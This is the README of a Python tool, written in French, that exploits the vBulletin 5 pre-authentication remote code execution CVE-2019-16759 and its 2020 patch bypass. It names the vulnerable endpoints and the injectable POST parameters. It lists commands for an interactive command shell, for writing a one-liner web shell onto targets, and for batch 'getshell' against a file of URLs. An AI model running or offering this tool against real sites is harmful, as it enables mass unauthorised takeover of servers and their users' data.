
CVE-2019-16759 vbulletin 5.0.0 à 5.5.4 RCE avant authentification
En septembre 2019, vbulletion5 (5.0.0-5.5.4) a révélé une vulnérabilité RCE (CVE-2019-16759). En utilisant le fichier ajax/render/widget_php et le paramètre POST widgetConfig[code], il est possible d'exécuter du code à distance directement.
Le 11 août 2020, un contournement du correctif de CVE-2019-16759 a été divulgué en ligne. En utilisant ajax/render/widget_tabbedcontainer_tab_panel et en construisant le paramètre POST subWidgets[0][config][code], il est possible d'exécuter du code à distance directement.
Cet outil prend en charge la détection d'une seule URL, cmdshell, get web shell (écriture d'un cheval de Troie one-liner), la détection par lots et le getshell par lots.
python2.7
pip install requests
Aide : python vbulletin5-rce.py -h

Détection de vulnérabilité d'une seule URL : python vbulletin5-rce.py -u "http://www.xxx.com/"


Cmdshell : python vbulletin5-rce.py -u "http://www.xxx.com/" --cmdshell


Getshell d'une seule URL : python vbulletin5-rce.py -u "http://www.xxx.com/" --getshell


Détection par lots : python vbulletin5-rce.py -f urls.txt

Getshell par lots : python vbulletin5-rce.py -f urls.txt --getshell

gmail : [email protected]
qq : [email protected]